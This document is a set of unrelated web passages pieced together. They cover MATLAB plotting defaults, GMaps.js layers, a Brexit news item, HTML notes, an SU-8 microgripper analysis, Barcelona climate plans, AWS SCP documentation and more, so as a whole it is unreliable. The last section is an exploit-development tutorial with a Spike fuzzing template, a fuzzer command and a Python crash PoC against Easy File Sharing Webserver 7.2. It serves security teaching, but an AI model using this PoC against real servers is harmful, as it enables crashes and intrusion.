If a file named pltdef.m exists on your Matlab path then that
file will be run before the workspace plotter is opened. This file may contain
any Matlab commands, and are usually used to defining workspace plotter defaults and variables.
The workspace plotter looks for any variable that
contains the characters pltopt anywhere in its name. If it
finds any such variables it will use the parameters they contain as arguments to
plt when you press the "Plot" button. For example suppose
pltdef.m contains these two lines:
pltopt1 = {'Options','Menu','Title','This is a plot title'};
pltopt2 = {'FigName','Workspace plotter'};
Then any plot created by the workspace plotter will have its figure menu bar enabled (from Options),
its axis label will be set to 'Frame data' and its figure name will be set to 'Workspace plotter'.
pltdef.m may also include other variables or commands unrelated to
plotting options. For example suppose pltdef.m included these three lines:
circleY = exp((0:.04:2)*pi*1j); % 50 point unit circle
circleX = real(circleY);
circleY = imag(circleY);
Then whenever you started the workspace plotter you would see circleX and circleY in
the workspace variables list. This would allow you to add a unit circle to your plot
by selecting these variables from the list (x vs. y) This would be quite useful if you
were often plotting z-plane poles and zeros, Nyquist data, or other data that lives in
the complex plane.


You can easily add or remove a layer using GMaps.js:
map.addLayer('places', { location : new google.maps.LatLng(-33.8665433,151.1956316), radius : 500, types : ['store'], search: function (results, status) { //do something with the result } });
Note: There are 3 types of function to use: search(), textSearch() and nearbySearch(). On the Google Places page you can see the options to use per search function.

Brexit Secretary ‘dismayed’ by European Council president Donald Tusk
Stephen Barclay says Mr Tusk is clearly opposed to Brexit.
The Brexit Secretary has said he was “dismayed” by comments made about the UK by European Council president Donald Tusk.
Stephen Barclay was referring to a speech during the week in which Mr Tusk appeared to back Boris Johnson’s opponents ahead of the General Election by advising campaigners not to give up on stopping Brexit.
The outgoing president said the UK would become “an outsider, a second-rate player” after it left the EU, and said a friend who suggested it was “the real end of the British Empire” was probably right.
Writing in The Sunday Times, Mr Barclay said it was a “spirit of shared purpose” that enabled the UK to secure a deal, but he added: “I was dismayed, then, to see the comments of Donald Tusk – the outgoing President of the European Council – in his farewell speech on Wednesday evening.
“His disdain for Brexit is a badly kept secret. But at least no one can now be left in any doubt of his true motivations.
“He unequivocally revealed a desire to stop Brexit.”
Mr Tusk had said: “The UK election takes place in one month. Can things still be turned around? Hannah Arendt taught that things become irreversible only when people start to think so.
“So the only words that come to my mind today are simply: Don’t give up. In this match, we had added time, we are already in extra time, perhaps it will even go to penalties?”
Mr Barclay said the speech showed there was a “total disregard for democracy from some of those at the top of the EU machine”.
He added: “Indeed it insults the intelligence of 17.4 million leave voters to say that they did not know what they were voting for.”

So National law rules unless something more specific is defined
In Unit 1 we learned that the main type of document on the web is HTML. We also learned that web files can be plain text, HTML, images, videos, and music.
HTML-stands for Hyper Text Markup Language. It utilizes -text content, -markup, references to other documents, and -links to other pages
Basic HTML Vocabulary-consists of
o A Tag- An HTML tag is always contained within angled brackets. Most tags have an opening tag and closing tag. Some tags (called "void"tags) do not require a closing tag
o An Element- An HTML element consists of the content contain within the opening and closing tag.
o An Attribute- is a property of an HTML element.
I have learned the so far there are two types of elements:
Inline and Block
Examples of Inline are: "b", "em", and "img". An example of a block element is "p". A block element encapsulates the content into an "invisible box". "Span" and "Div" are also examples of inline and block elements. I have much more to learn as I cannot yet use the left and right arrow in my text without the code trying to create a new element.
An example of a tag that uses an HTML Attribute woulds be the "a" or anchor tag. It would contain an attribute, followed by a "value", the content, and a closing tag.
Moving further into :Webpages,Documents,and Structure,I have learned how the HTML tag and DOM or "Document Object Model". create the elements that form a tree-like structure while CSS controls the style elements of a page.
Keeping this hierarchy in mind allows a programmer to avoid repetition and long drawn out code through the reuse of "class rules" for boxes that fit the same format and style.
So National law rules unless something more specific is defined
Avoiding repitition or Dry Code(don't repeat yourself)
As defined in The Pragmatic Programmer“Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.”
Looking at my code for this project I see what may be an example of what DRY code is referring to. I believe an example of this is that I share a "div class="summary" in some of my HTML. While this can be benificial in reducing the overall complexity of the code, it also makes it impossible for me to modify this "class" on on line of code without affecting something that I may not want it to change somewhere else in my HTML. The more complex the project, the more likely it is for this to cause issues.


Design and Analysis of a Novel 2 DOF SU-8 based Microgripper for Cell Manipulation
Description
a new design of a Microelectromechanical System based 2 degrees of freedom microgripper for cell manipulation using a polymer based material SU-8, which is known for its bio-compatibility. For high output force, V-shaped electrothermal microactuator is used and displacement amplification is achieved using a modified version of compliant parallelogram mechanism which also provides pure translational movement of micro gripping jaws with little movement in the undesired or non-gripping axis. An FEM based electro-thermo-structural analysis is performed, which predicted a gripping range of 22 µm with an applied actuation voltage of 80 mV. The maximum temperature on the microactuator is 118 ºC while on the gripping jaws, the temperature is only about 2 ºC above the room temperature.
DESIGN AND WORKING OF THE PROPOSED MICROGRIPPER
Figure 1 shows the schematic of the proposed SU-8 based electrothermally actuated microgripper with a structural layer
thickness of 20 µm. the V-shaped electrothermal microactuator is embedded with Cr/Au/Cr layers with gold layer thickness of
600 nm which acts as heater. The Cr layers are added to achieve adhesion between gold and SU-8 layers. The blackened
parts show the anchored points which are mechanically and thermally ground and the yellow parts show the plane areas on
the device where gold is embedded between two SU-8 layers.
FEM Analysis
The electro-thermo-structural multi-physics numerical
analysis is performed, to analyze the performance parameters
of the proposed microgripper. The anchor points are
mechanically fixed with zero linear and rotary displacement
and thermally at room temperature (22°C). Material Properties
of SU-8 and gold used for FEM are listed in Table below.Geometric dimensions of the microgripper design are shown in figure below.
- Temperature Profile
A voltage of 80 mV is applied across the ends of the Vshaped beams of microactuator. The thermal energy produced
due to the flow of current in the embedded gold layer,thermally conducts to both the upper and lower layer of SU-8
which rises the temperature of the whole V-shaped beam of micro-actuator. The temperature gradient of the structure is
shown in Figure below.
The maximum temperature lies on the shuttle of micro actuator which is 118 °C at 80 mV which is far less than the
softening temperature of SU-8 which is 210 °C. Most importantly the tip temperature is just 2 °C above the room
temperature. The temperature profile shows it very clearly that most of the heat dissipates through the anchor points of Vshaped beams of microactuator and very less amount of heat
flows toward the compliant mechanism. It is also veryimportant to note that there is a sudden decrease in temperature
at heat sink which shows that the heat sink is working enough to prevent the heat from flowing into the compliant structure.
The expansion of upper and lower SU-8 layers of the Vshaped beam microactuator makes the central shuttle to move
in positive x-axis. The displacement produced at the shuttle is then amplified through the Modified Parallelogram compliant
mechanism to the gripping jaws of microgripper. The structural analysis show that the single jaw moves 11 µm in x-axis. The figure below shows that the tip displacement is purely rectilinear with minimal translation in y-axis. All pseudo rigid links are forced
in tensile so there is purely no out of plane displacement.
Since the design consists of flexure hinges which act as a
notch in the geometry, so from a designer’s perspective, stress
induced in the microstructure is very important. The value of
yield stress for SU-8, reported in literature, shows a great
variation with values ranging from 35 MPa to 80 MPa,
depending on the microfabrication process conditions and thin
film size [14]–[18]. Maximum principal stress on structure lies
on the notch which is 22 MPa at the recommended actuation
voltage of 80 mV, which is far less than the yield strength of
SU-8. This ensures safe operation of the microgripper even at
higher fatigue cycles. The FEM results are shown below.

In this game, the player is the main character Bloop which is controlled using the mouse cursor. The goal of this game is to enter the Safezone. In order to go to the next level, the player would have to avoid all the viruses coming out from the Safezone and enter it. The higher the level, the more viruses being generated.
If the player fails to avoid the viruses, Bloop dies and the game restarts.
There is also an additional object Pill which appears randomly throughout the game. Once the player "eats" the Pill, all the viruses slow down.

NAME GENERATOR
The Akans are a meta-ethnicity who primarily live in Ghana and Ivory Coast. They have a fairly unique naming
system, which is based on the day in the week a child is born, and on the gender of the child. So a boy born on a
Monday would be named Kwadwo , and a girl would be called Adwoa. Each day has one or more variants, but
there's usually not much to choose from.
Akan Name Calculator takes your birthday and calculates the day of the week you were born and based upon
you gender generates your unique Akan name.
Akan Naming According to Birth Day
Male
- Sunday: Kwasi
- Monday: Kwadwo
- Tuesday: Kwabena
- Wednesday: Kwaku
- Thursday: Yaw
- Friday: Kofi
- Saturday: Kwame

The City Council is looking into how climate change will affect the city at a local level, in order to lessen its impact and be prepared.
The Barcelona Metropolitan Area (AMB) conducted a study of the region’s climate along with the Barcelona Regional development agency and Catalan Meteorological Service, to analyse climate projects on a more local scale. Barcelona City Council has continued this work to find out in more detail how climate change will affect the area around Barcelona, particularly in relation to high temperatures.
The Climate Plan gives an integrated overview of the measures to tackle climate change, allowing the objectives of the new Covenant of Majors for Climate & Energy, which Barcelona City Council has signed, to be achieved.
The Climate Plan’s time-frame runs to 2030, and it includes both short term (2018-2020) and medium-long term (2021-2030) objectives and strategic measures. It has 4 strategic axes: mitigation, adaptation/resilience, climate justice and the promotion of citizen action.
For more information please access Barcelona Pel Clima.
The Barcelona Energy Agency developed the Energy, Climate Change and Air Quality Plan for the 2011-2020 period (PECQ). This plan proposes cross-cutting and ambitious initiatives to meet the commitment signed up to by Barcelona, under the framework of the European Union’s Covenant of Mayors, to reduce its greenhouse-gas emissions associated with municipal activities by 20 % by 2020.
For more information please access the official web page.
En Barcelona, los animales son ciudadanos de pleno derecho y, como seres dependientes que son, nos corresponde a todos garantizar su bienestar y fomentar una buena convivencia con toda la ciudadanía (también con quienes, legítimamente, no disfrutan de su buena compañía).

In November 2016, Barcelona City Council presented the Government Measure: Programme of measures to combat atmospheric pollution. The goal is to fulfil the World Health Organisation recommendations and the commitment established with the European Union to reduce pollution indices that exceed the threshold established by the European regulations, and thus protect people’s health.
For more information please access the official web page.
The Special Tourist Accommodation Plan (PEUAT) regulates the introduction of tourist accommodation establishments, as well as youth hostels, collective residences with temporary accommodation and tourist apartments.
This regulation is in response to the need to make tourist accommodation compatible with a sustainable urban model based on guaranteeing fundamental rights and improving the quality of life for city residents.
For more information please access the official web page.
In 2015, Barcelona launched the “Bicycle Strategy for Barcelona” government measure, which encouraged increased bicycle use as a habitual mode of urban transport, with actions such as enlarging and improving the cycling infrastructure, improving signage to guarantee safer journeys, and actions to ensure harmonious co-existence with other people using the public highway, both pedestrians and other road vehicles.

[ aws . organizations ]
Attaches a policy to a root, an organizational unit, or an individual account. How the policy affects accounts depends on the type of policy:
SCPs essentially are permission "filters". When you attach one SCP to a higher level root or OU, and you also attach a different SCP to a child OU or to an account, the child policy can further restrict only the permissions that pass through the parent filter and are available to the child. An SCP that is attached to a child cannot grant a permission that is not already granted by the parent. For example, imagine that the parent SCP allows permissions A, B, C, D, and E. The child SCP allows C, D, E, F, and G. The result is that the accounts affected by the child SCP are allowed to use only C, D, and E. They cannot use A or B because they were filtered out by the child OU. They also cannot use F and G because they were filtered out by the parent OU. They cannot be granted back by the child SCP; child SCPs can only filter the permissions they receive from the parent SCP.
AWS Organizations attaches a default SCP named "FullAWSAccess to every root, OU, and account. This default SCP allows all services and actions, enabling any new child OU or account to inherit the permissions of the parent root or OU. If you detach the default policy, you must replace it with a policy that specifies the permissions that you want to allow in that OU or account.
For more information about how Organizations policies permissions work, see Using Service Control Policies in the AWS Organizations User Guide .
This operation can be called only from the organization's master account.

The unique identifier (ID) of the policy that you want to attach to the target. You can get the ID for the policy by calling the list-policies operation.
The regex pattern for a policy ID string requires "p-" followed by from 8 to 128 lower-case letters or digits.
The unique identifier (ID) of the root, OU, or account that you want to attach the policy to. You can get the ID by calling the list-roots , list-organizational-units-for-parent , or list-accounts operations.
The regex pattern for a target ID string requires one of the following:
- Root: a string that begins with "r-" followed by from 4 to 32 lower-case letters or digits.
- Account: a string that consists of exactly 12 digits.
- Organizational unit (OU): a string that begins with "ou-" followed by from 4 to 32 lower-case letters or digits (the ID of the root that the OU is in) followed by a second "-" dash and from 8 to 32 additional lower-case letters or digits.
--cli-input-json (string) Performs service operation based on the JSON string provided. The JSON string follows the format provided by --generate-cli-skeleton. If other arguments are provided on the command line, the CLI values will override the JSON-provided values.
--generate-cli-skeleton (string) Prints a JSON skeleton to standard output without sending an API request. If provided with no value or the value input, prints a sample input JSON that can be used as an argument for --cli-input-json. If provided with the value output, it validates the command inputs and returns a sample output JSON for that command.

List style type is selected using the CSS property "list-style-type". Hopefully it will work with Internet Explorer, right? ;-) Let's start the monster to test it out.
Cool, it works. Except for "lower-greek", which doesn't seem to be supported (and worse, a gross error message is displayed). Therefore, I hide that proerty from IE--it will only be available if the browser is not IE.

I just found foodtimeline.org, an interesting and fun resource (through Mona N.'s friendfeed page). You can find out when different foods first appeared in history. But it also contains or links to the old recipes used at different times (or to hypotheses when it's too far back to know) like in the 16th c. english "Booke of Cokerye" or the dutch 16th c. "Cocboeck" of Carolus Battus.
Also I found out that oldest recorded reference to one of my favorite vegetables, the Eggplant (Μελιτζάνες, Melenzane, Solanum melongena) is chinese (interesting since I'll be visiting China soon, though not for the eggplants). It appears in the 'Qi Min Yao Shu', an ancient chinese agricultural text of the 6th century AD, says wikipedia's eggplant entry and the Vegetable Travelers entry.

Each recipe will contain at most 1 solid ingredient. Recipes will contain either 3 liquids, or 2 liquids and 1 solid.
Ingredient #2 in each recipe is the limiting reactant, or the one consumed when the ingredients are combined. To produce a large amount of LC or AP, the #2 ingredient should be obtained in bulk, with the other two ingredients added in smaller amounts.
'RCPU' is referred to internally in the game as 'probability', but doesn't reflect the accuracy of the calculated formula. This ONLY affects the rate at which the reaction occurs when the ingredients are combined.

There has always been something about buffer overflows that to me has been what hacking is all about. There is something magical about sending a string of characters and forcing a system to do your bidding. Hacking in its purest form!
During the next few posts we are going to do just that. We are going to go from discovering a vulnerability all the way to exploit development, starting with a basic vanilla stack overflow (and a few twists), getting fancier with subsequent posts. Having said that, This is not a beginner friendly tutorial - you should have at least a basic grasp of memory layouts (and a very basic grasp of C woudnt hurt!). We are going to be focusing on Intel x86 processors, with a Windows operating system (touching on linux at some point…) If you havent already, i strongly recommend reading Aleph One’s famous Smashing the Stack for Fun and Profit
With that out of the way, lets begin! Today we are going to be ‘discovering’ a vulnerability and using the PoC as a basis for writing an exploit for Easy File Sharing Webserver 7.2 down the road. I chose this software because 1) it is a simple remote unauthenticated example of a stack overflow and 2) there are a few different ways we can hit this target. I did NOT discover this vulnerability, but we are going to approach it from an 0day angle and write a fuzzer to find it. This will be an overly simplistic approach to fuzzing and 0day discovery but it should illustrate the basic steps you need to go through.
If you’d like to follow along, install the above software on a Windows 7 Professional (x86) system. You will also need to install a windows debugger. For this post I will use Immunity with the mona.py script. Make sure port 80 is reachable from your attacking system.
The first thing we’d wana do is get to know the software. We are looking to find out how it works, what kind of input it takes, what protocol it uses, what it does, etc. In this case we know the software is a webserver, so we would use a web proxy such as burp and browse the application. Note that any field that takes user input could be a point of interest - It is our job to find that one oversight, that one unsanitized or unchecked parameter being passed into system(), strcpy(), sprintf(), etc.In the case of a web server, some of the parameters of interest in would be custom headers, cookie fields, or any user supplied/controlled data passed to the application.
The particular vulnerability we are going to be exploiting today was found in the following POST request:
POST /sendmail.ghp HTTP/1.1
<EMAIL_ADDRESS>The Email
and getPassword
parameters look promising, so lets write a template to fuzz these. Fuzzing is the process
by which we purposely send malformed requests of different input and study how the applciation responds.
The fuzzer we are going to use today is the Spike fuzzer. Spike is a great tool which allows us to create templates
based on the sort of data we are looking to send. We can then send both TCP or UDP packets containing the malformed data,
depending on what we are fuzzing. In this case, we are going to send a wide range of strings into the fields above.
The tempalte we will use will look like the one below:
s_string("POST /sendmail.ghp HTTP/1.1 \r\n");
s_string("Email=");
s_string_variable("test@crash.com");
s_string("&getPassword=");
s_string_variable("Get+Password");
s_string("\r\n\r\n");
Copy paste the above template and save it as EFS.spk. To explain:
The first line, s_string()
sends data of type string that is static. In the above example, we are sending a POST request to sendmail.ghp.
If we however wanted to fuzz the POST parameter, or the /sendmail.ghp, we would use the s_string_variable() definition.
This tells spike which variables we would like to fuzz, and it is here where all the malformed data will be sent.
In the above example we are dealing with strings in an HTTP request. Spike also supports other data types such as binary, but for this example we’ll keep it simple and stick to strings.
Ok, now we are ready to test! We are going to use the generic_send_tcp program (part of Spike) as we are going to be sending TCP packets. The command’s format is the following:
generic_send_tcp <IP_ADDRESS> 80 EFS.spk 0 0
While most of the parameters above should be self explanatory, the last two tell spike which variable and which test to start from. In this case we want spike to test all the variables in the template using all the payloads, so we’ll start at 0 for both.
On your Windows VM, start the Easy File Web Server, and launch Immunity. Attach the process by going to file > Attach > fsws > click Attach. You will then need to click the play button above twice to resume program execution.
We will also use wireshark to monitor which payloads are sent to the windows machine. With wireshark running, it is now time to fuzz the application. Open a separate terminal and launch the fuzzer. We notice that almost immediately the application crashes! This looks promising. We stop Spike and look in wireshark to determine which payload crashed the application. We see the following:
If we look at Spike, it tells us the second request sent a payload of 5004 bytes. Lets explore this crash a bit more and see if it is indeed exploitable. Remember that not every crash is exploitable, for a wide variety of reasons.
We will use the following python script as a baseline for our exploit:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
crash = "A" * 4144
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
Before we continue, some of you may have noticed I’ve adjusted the payload length to 4144. This was done by playing with the buffer length to more easily demonstrate the basics of exploit development. In post number 3 we will come back to the original payload length and cover Safe Exception Handler (SEH) exploit development.
If we fire the above at our server, our application crashes, and immunity shows us the following:
Success! it looks like we found a pretty straight forward exploitable flaw.
In the next post, we will cover exploit development for this particular vulnerability, using the above skeleton exploit as a starting point.


In my life, my major goals have been to become a professional guitarist, a US Navy SEAL and Full Stack Developer. Though you may have never seen me on MTV, etc., I was signed to a label. Even though I was seven years late to become a Navy SEAL, and ultimately could not continue to pursue due to an injury, I gained the support of a Senator and a Congressman that had agreed to back me in a congressional hearing. As with everything else that I have ever wanted to do, I’ve finally succeeded in meeting my goal of becoming a Full Stack Web Developer.
